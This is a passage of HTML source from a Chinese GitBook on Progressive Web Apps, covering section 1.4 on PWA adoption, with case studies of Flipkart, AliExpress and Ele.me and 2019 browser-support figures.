\n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >1.4 PWA 的发展</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#pwa-&#x7684;&#x53D1;&#x5C55;\"><b></b>PWA &#x7684;&#x53D1;&#x5C55;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#flipkart\"><b></b>Flipkart</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x963F;&#x91CC;&#x901F;&#x5356;&#x901A;aliexpress\"><b></b>&#x963F;&#x91CC;&#x901F;&#x5356;&#x901A;(AliExpress)</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x997F;&#x4E86;&#x4E48;\"><b></b>&#x997F;&#x4E86;&#x4E48;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x6807;&#x51C6;&#x7684;&#x652F;&#x6301;\"><b></b>&#x6807;&#x51C6;&#x7684;&#x652F;&#x6301;</a></li></ul></ul></div><a href=\"#pwa-&#x7684;&#x53D1;&#x5C55;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"pwa-&#x7684;&#x53D1;&#x5C55;\"><a name=\"pwa-&#x7684;&#x53D1;&#x5C55;\" class=\"anchor-navigation-ex-anchor\" href=\"#pwa-&#x7684;&#x53D1;&#x5C55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"pwa-&#x7684;&#x53D1;&#x5C55;\" class=\"plugin-anchor\" href=\"#pwa-&#x7684;&#x53D1;&#x5C55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>PWA &#x7684;&#x53D1;&#x5C55;</h1>\n<p>&#x4ECE; PWA &#x88AB;&#x63D0;&#x51FA;&#x5230;&#x73B0;&#x5728;&#xFF0C;&#x5DF2;&#x7ECF;&#x8FC7;&#x53BB;&#x4E86; 4 &#x5E74;&#xFF0C;PWA &#x53D6;&#x5F97;&#x7684;&#x6210;&#x7EE9;&#x6709;&#x76EE;&#x5171;&#x7779;&#xFF0C;&#x7279;&#x522B;&#x662F;&#x5728;&#x56FD;&#x5916;&#xFF0C;&#x5728;&#x7F51;&#x7EDC;&#x901F;&#x5EA6;&#x4E0D;&#x591F;&#x5FEB;&#x6216;&#x8005;&#x76F8;&#x5BF9;&#x8D2B;&#x56F0;&#x7684;&#x5730;&#x533A;&#xFF0C;PWA &#x975E;&#x5E38;&#x53D7;&#x6B22;&#x8FCE;&#xFF0C;&#x56E0;&#x4E3A;&#x5B83;&#x4E0D;&#x9700;&#x8981;&#x5F88;&#x9AD8;&#x7684;&#x786C;&#x4EF6;&#x914D;&#x7F6E;&#xFF0C;&#x4E5F;&#x5F88;&#x7701;&#x6D41;&#x91CF;&#xFF0C;&#x6BD4;&#x5982;&#x5728;&#x5370;&#x5EA6;&#xFF0C;&#x5C31;&#x6709;&#x4E00;&#x4E2A;&#x5F88;&#x6210;&#x529F;&#x7684;&#x6848;&#x4F8B;&#xFF0C;Flipkart&#x3002;</p>\n<h2 id=\"flipkart\"><a name=\"flipkart\" class=\"anchor-navigation-ex-anchor\" href=\"#flipkart\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"flipkart\" class=\"plugin-anchor\" href=\"#flipkart\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Flipkart</h2>\n<p><a href=\"https://www.flipkart.com\" target=\"_blank\">Flipkart</a> &#x662F;&#x5370;&#x5EA6;&#x6700;&#x5927;&#x7684;&#x7535;&#x5546;&#x516C;&#x53F8;&#xFF0C;&#x5728; 2015 &#x5E74;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4ED6;&#x4EEC;&#x5173;&#x505C;&#x4E86; Web App&#xFF0C;&#x5C1D;&#x8BD5;&#x5C06;&#x7528;&#x6237;&#x5BFC;&#x6D41;&#x5230; Native App&#xFF0C;&#x540E;&#x6765;&#x53D1;&#x73B0;&#x5728;&#x4EA7;&#x54C1;&#x5FEB;&#x901F;&#x8FED;&#x4EE3;&#x548C;&#x597D;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x4E4B;&#x95F4;&#x5F88;&#x96BE;&#x505A;&#x5230;&#x4E24;&#x8005;&#x517C;&#x5F97;&#xFF0C;&#x56E0;&#x6B64;&#x4ED6;&#x4EEC;&#x51B3;&#x5B9A;&#x5C06; Web App &#x548C; Native App &#x6574;&#x5408;&#x4E3A; PWA&#xFF0C;&#x901A;&#x8FC7; Service Worker&#xFF0C;Web App Manifest &#x7B49;&#x6280;&#x672F;&#x7684;&#x4F7F;&#x7528;&#xFF0C;PWA &#x4E0D;&#x4EC5;&#x5728;&#x4F53;&#x9A8C;&#x4E0A;&#x8FBE;&#x5230;&#x4E86;&#x4ED6;&#x4EEC;&#x7684;&#x6807;&#x51C6;&#xFF0C;&#x540C;&#x65F6;&#x8FD8;&#x5177;&#x6709;&#x4E86; Web App &#x7684;&#x4EA7;&#x54C1;&#x8FED;&#x4EE3;&#x901F;&#x5EA6;&#x3002;</p>\n<p>&#x91C7;&#x7528; PWA &#x540E;&#xFF0C;&#x53D6;&#x5F97;&#x7684;&#x6210;&#x7EE9;&#x6590;&#x7136;&#xFF0C;&#x5173;&#x952E;&#x6536;&#x76CA;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ul>\n<li>&#x7528;&#x6237;&#x65F6;&#x957F;&#x589E;&#x52A0;&#x4E86; 3 &#x500D;&#xFF0C;&#x4F20;&#x7EDF; Web &#x662F; 70 &#x79D2;&#xFF0C;&#x800C; PWA &#x8FBE;&#x5230;&#x4E86; 3.5 &#x5206;&#x949F;&#x3002;</li>\n<li>&#x7528;&#x6237;&#x56DE;&#x6D41;&#x7387;&#x63D0;&#x5347;&#x4E86; 40%&#x3002;</li>\n<li>&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x7684;&#x7528;&#x6237;&#x8F6C;&#x5316;&#x7387;&#x63D0;&#x9AD8;&#x4E86; 70%&#x3002;</li>\n<li>&#x7528;&#x6237;&#x6570;&#x636E;&#x6D41;&#x91CF;&#x7684;&#x6D88;&#x8017;&#x964D;&#x4F4E;&#x4E86; 3 &#x500D;&#x3002;</li>\n</ul>\n<p><img src=\"img/flipkart.jpeg\" alt=\"Flipkart Lite\"></p>\n<h3 id=\"&#x963F;&#x91CC;&#x901F;&#x5356;&#x901A;aliexpress\"><a name=\"&#x963F;&#x91CC;&#x901F;&#x5356;&#x901A;aliexpress\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x963F;&#x91CC;&#x901F;&#x5356;&#x901A;aliexpress\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x963F;&#x91CC;&#x901F;&#x5356;&#x901A;aliexpress\" class=\"plugin-anchor\" href=\"#&#x963F;&#x91CC;&#x901F;&#x5356;&#x901A;aliexpress\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x963F;&#x91CC;&#x901F;&#x5356;&#x901A;(AliExpress)</h3>\n<p><a href=\"https://m.aliexpress.com\" target=\"_blank\">&#x963F;&#x91CC;&#x901F;&#x5356;&#x901A;</a>&#x662F;&#x963F;&#x91CC;&#x5DF4;&#x5DF4;&#x65D7;&#x4E0B;&#x7684;&#x4E00;&#x6B3E;&#x4EA7;&#x54C1;&#xFF0C;&#x5BF9;&#x5916;&#x9500;&#x552E;&#x6765;&#x81EA;&#x4E2D;&#x56FD;&#x7684;&#x5404;&#x79CD;&#x4EA7;&#x54C1;&#x3002;AliExpress &#x7684;&#x56F0;&#x5883;&#x5728;&#x4E8E;&#xFF0C;&#x7528;&#x6237;&#x4E0D;&#x613F;&#x610F;&#x4E0B;&#x8F7D;&#x5B89;&#x88C5;&#x4ED6;&#x4EEC;&#x7684; Native App&#xFF0C;&#x5373;&#x4F7F;&#x5728; Web App &#x4E2D;&#x5BF9; Native App &#x6709;&#x8DB3;&#x591F;&#x7684;&#x5F15;&#x6D41;&#xFF0C;&#x5BFC;&#x81F4;&#x83B7;&#x5BA2;&#x6210;&#x672C;&#x5F88;&#x9AD8;&#x3002;</p>\n<p>&#x6700;&#x540E;&#xFF0C;AliExpress &#x9009;&#x62E9;&#x4E86; PWA&#xFF0C;&#x4ED6;&#x4EEC;&#x7684;&#x51FA;&#x53D1;&#x70B9;&#x5728;&#x4E8E;&#x63D0;&#x5347; Web App &#x7684;\b&#x4F53;&#x9A8C;&#x548C;&#x7528;&#x6237;&#x9ECF;&#x6027;&#x3002;&#x5E26;&#x6765;&#x7684;&#x6536;&#x76CA;&#x4E5F;&#x975E;&#x5E38;&#x7684;&#x660E;&#x663E;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ul>\n<li>&#x5728; PWA &#x4E2D;&#xFF0C;&#x65B0;&#x7528;&#x6237;&#x7684;&#x8F6C;&#x5316;&#x7387;&#x63D0;&#x5347;&#x4E86; 104%&#x3002;</li>\n<li>&#x5728;&#x4E00;&#x6B21;&#x4F1A;&#x8BDD;&#x4E2D;&#xFF0C;&#x7528;&#x6237;&#x8BBF;&#x95EE;&#x7684;&#x9875;&#x9762;&#x6570;&#x91CF;\b&#x589E;&#x52A0;&#x4E86; 2 &#x500D;&#x3002;</li>\n<li>&#x7528;&#x6237;&#x65F6;&#x957F;&#x589E;&#x52A0;&#x4E86; 74%&#x3002;</li>\n</ul>\n<h3 id=\"&#x997F;&#x4E86;&#x4E48;\"><a name=\"&#x997F;&#x4E86;&#x4E48;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x997F;&#x4E86;&#x4E48;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x997F;&#x4E86;&#x4E48;\" class=\"plugin-anchor\" href=\"#&#x997F;&#x4E86;&#x4E48;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x997F;&#x4E86;&#x4E48;</h3>\n<p>&#x4E0D;&#x4EC5;&#x5728;&#x56FD;&#x5916;&#xFF0C;&#x56FD;&#x5185;&#x540C;&#x6837;&#x4E5F;&#x6709; PWA &#x7684;&#x6848;&#x4F8B;&#xFF0C;<a href=\"https://ele.me\" target=\"_blank\">&#x997F;&#x4E86;&#x4E48;</a>&#xFF0C;&#x4F5C;&#x4E3A;&#x56FD;&#x5185;&#x6700;&#x65E9;&#x4E00;&#x6279;&#x5C1D;&#x8BD5; PWA &#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x540C;&#x6837;&#x4E5F;&#x53D6;&#x5F97;&#x4E86;&#x4E0D;&#x5C0F;&#x7684;&#x6536;&#x76CA;&#x3002;</p>\n<p>&#x997F;&#x4E86;&#x4E48;&#x505A; PWA &#x7AD9;&#x70B9;&#x7684;&#x51FA;&#x53D1;&#x70B9;&#x548C; Flipkart&#x3001;AliExpress &#x4E0D;&#x5B8C;&#x5168;&#x4E00;&#x6837;&#xFF0C;&#x5B83;&#x51E0;&#x4E4E;&#x7EAF;&#x7CB9;&#x662F;&#x4ECE;&#x6027;&#x80FD;&#x4F18;&#x5316;&#x7684;&#x89D2;&#x5EA6;&#x63A5;&#x5165;&#x7684; PWA&#xFF0C;&#x5F53;&#x65F6;&#x56FD;&#x5185;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x5E02;&#x573A;&#x6BD4;&#x8F83;&#x6DF7;&#x4E71;&#xFF0C;&#x5BF9; PWA &#x652F;&#x6301;&#x7684;&#x4E0D;&#x662F;&#x5F88;&#x5B8C;&#x5584;&#x3002;&#x997F;&#x4E86;&#x4E48; PWA &#x91C7;&#x53D6;&#x7684;&#x662F;&#x591A;&#x9875;&#x5E94;&#x7528;&#xFF08;Multi-Page Application&#xFF09;&#xFF0C;&#x548C; PWA &#x63A8;&#x8350;&#x7684; SPA&#xFF08;Single Page Application&#xFF09;&#x4E0D;&#x4E00;&#x6837;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x8003;&#x8651;&#x5230;&#x591A;&#x4E2A;&#x56E2;&#x961F;&#x5408;&#x4F5C;&#x5171;&#x540C;&#x5F00;&#x53D1;&#x540C;&#x4E00;&#x4E2A;&#x7AD9;&#x70B9;&#xFF0C;&#x4E0D;&#x8FC7;&#x5728;&#x4F53;&#x9A8C;&#x4E0A;&#x5E76;&#x6CA1;&#x6709;&#x6253;&#x6298;&#x6263;&#xFF0C;&#x73B0;&#x5728;&#x662F; Google &#x5BF9;&#x5916;&#x5C55;&#x793A;&#x7684;&#x4E00;&#x4E2A;&#x6210;&#x529F;&#x6848;&#x4F8B;&#x3002;</p>\n<p>&#x770B;&#x4E00;&#x4E0B;&#x997F;&#x4E86;&#x4E48; PWA &#x7684;&#x6536;&#x76CA;&#xFF1A;</p>\n<ul>\n<li>&#x9884;&#x7F13;&#x5B58;&#x7684;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x65F6;&#x95F4;&#x7F29;&#x77ED;&#x4E86; 11.6%&#x3002;</li>\n<li>&#x6240;&#x6709;&#x9875;&#x9762;&#x5E73;&#x5747;&#x52A0;&#x8F7D;&#x65F6;&#x95F4;&#x7F29;&#x77ED;&#x4E86; 6.35%&#x3002;</li>\n<li>&#x5728; 3G &#x7F51;&#x7EDC;&#x4E0B;&#xFF0C;&#x7B2C;&#x4E00;&#x6B21;&#x52A0;&#x8F7D;&#x9996;&#x6B21;&#x53EF;&#x4EA4;&#x4E92;&#x65F6;&#x95F4;&#x7F29;&#x77ED;&#x4E86; 4.93 &#x79D2;&#x3002;</li>\n</ul>\n<p><img src=\"img/eleme.png\" alt=\"&#x997F;&#x4E86;&#x4E48; PWA\"></p>\n<h2 id=\"&#x6807;&#x51C6;&#x7684;&#x652F;&#x6301;\"><a name=\"&#x6807;&#x51C6;&#x7684;&#x652F;&#x6301;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6807;&#x51C6;&#x7684;&#x652F;&#x6301;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6807;&#x51C6;&#x7684;&#x652F;&#x6301;\" class=\"plugin-anchor\" href=\"#&#x6807;&#x51C6;&#x7684;&#x652F;&#x6301;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6807;&#x51C6;&#x7684;&#x652F;&#x6301;</h2>\n<p>PWA &#x91C7;&#x7528;&#x7684;&#x6700;&#x65B0;&#x6280;&#x672F;&#xFF0C;&#x5F53;&#x524D;&#x6D4F;&#x89C8;&#x5668;&#x8FD8;&#x6CA1;&#x6709;&#x8FBE;&#x5230;&#x5B8C;&#x5168;&#x652F;&#x6301;&#x7684;&#x7A0B;&#x5EA6;&#xFF0C;&#x5F88;&#x591A;&#x6280;&#x672F;&#x5728; W3C &#x8FD8;&#x6CA1;&#x6709;&#x5B9A;&#x7A3F;&#xFF0C;&#x4E0D;&#x8FC7;&#x8FD9;&#x4E5F;&#x610F;&#x5473;&#x7740;&#x8FD9;&#x4E9B;&#x6280;&#x672F;&#x7684;&#x8FD8;&#x6709;&#x5F88;&#x5927;&#x7684;&#x60F3;&#x8C61;&#x7A7A;&#x95F4;&#x3002;</p>\n<p>&#x6839;&#x636E; <a href=\"https://caniuse.com\" target=\"_blank\">Can I Use</a> &#x7684;&#x7EDF;&#x8BA1;&#xFF08;&#x5305;&#x62EC; PC &#x548C;&#x79FB;&#x52A8;&#x7AEF;&#xFF0C;&#x622A;&#x81F3; 2019 &#x5E74; 4 &#x6708; 2 &#x65E5;&#xFF09;&#xFF0C;PWA &#x7684;&#x5173;&#x952E;&#x6280;&#x672F;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x7684;&#x652F;&#x6301;&#x5EA6;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ul>\n<li>Web App Manifest &#x7684;&#x652F;&#x6301;&#x5EA6;&#x8FBE;&#x5230; 80.63%&#x3002;</li>\n<li>Service Worker &#x7684;&#x652F;&#x6301;&#x5EA6;&#x8FBE;&#x5230; 89.84%&#x3002;</li>\n<li>Notifications API &#x7684;&#x652F;&#x6301;&#x5EA6;&#x8FBE;&#x5230; 75.17%&#x3002;</li>\n<li>Push API &#x7684;&#x652F;&#x6301;&#x5EA6;&#x8FBE;&#x5230; 78.06%&#x3002;</li>\n</ul>\n<p>&#x968F;&#x7740;&#x6807;&#x51C6;&#x7684;&#x8FDB;&#x4E00;&#x6B65;&#x5B8C;&#x5584;&#xFF0C;&#x56FD;&#x5185;&#x5916;&#x5404;&#x5927;&#x6D4F;&#x89C8;&#x5668;&#x90FD;&#x4F1A;&#x9010;&#x6B65;&#x652F;&#x6301;&#xFF0C;&#x62E5;&#x62B1;&#x6807;&#x51C6;&#x3002;Chrome &#x81EA;&#x4E0D;&#x5FC5;&#x8BF4;&#xFF0C;Apple &#x4ECE; iOS 11.3 &#x7248;&#x672C;&#x5F00;&#x59CB;&#x5728; Safari &#x4E0A;&#x652F;&#x6301; Service Worker&#xFF0C;iOS 12.2 &#x7248;&#x672C;&#x4FEE;&#x590D;&#x4E86; PWA &#x5F88;&#x591A;&#x81F4;&#x547D;&#x7684;&#x4F53;&#x9A8C;&#x95EE;&#x9898;&#xFF0C;&#x652F;&#x6301;&#x4E86; Web Share API &#x7B49;&#x3002;&#x53EF;&#x89C1;&#x5927;&#x5BB6;&#x90FD;&#x5728;&#x62E5;&#x62B1;&#x6807;&#x51C6;&#xFF0C;&#x62E5;&#x62B1;&#x5F00;&#x653E;&#x3002;</p>\n<p>Can I Use &#x7684;&#x7EDF;&#x8BA1;&#x7531;&#x4E8E;&#x4E00;&#x4E9B;&#x539F;&#x56E0;&#x5728;&#x56FD;&#x5185;&#x4E0D;&#x662F;&#x5F88;&#x9002;&#x7528;&#xFF0C;&#x4E3A;&#x6B64;&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;&#x7EF4;&#x62A4;&#x4E86;&#x4E00;&#x4EFD;&#x5217;&#x8868;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x5728;&#x4E0A;&#x9762;&#x67E5;&#x770B;&#x56FD;&#x5185;&#x5404;&#x4E3B;&#x6D41;&#x6D4F;&#x89C8;&#x5668;&#x5BF9; PWA &#x4E3B;&#x8981;&#x6280;&#x672F;&#x7684;&#x652F;&#x6301;&#x7A0B;&#x5EA6;&#xFF0C;<a href=\"https://lavas.baidu.com/ready\" target=\"_blank\">https://lavas.baidu.com/ready</a>&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"3-what-are-key-techs.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 1.3 PWA 的核心技术\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"5-the-future-of-pwa.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 1.5 PWA 的未来\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"1.4 PWA 的发展\",\"level\":\"1.2.4\",\"depth\":2,\"next\":{\"title\":\"1.5 PWA 的未来\",\"level\":\"1.2.5\",\"depth\":2,\"path\":\"chapter01/5-the-future-of-pwa.md\",\"ref\":\"chapter01/5-the-future-of-pwa.md\",\"articles\":[]},\"previous\":{\"title\":\"1.3 PWA 的核心技术\",\"level\":\"1.2.3\",\"depth\":2,\"path\":\"chapter01/3-what-are-key-techs.md\",\"ref\":\"chapter01/3-what-are-key-techs.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa 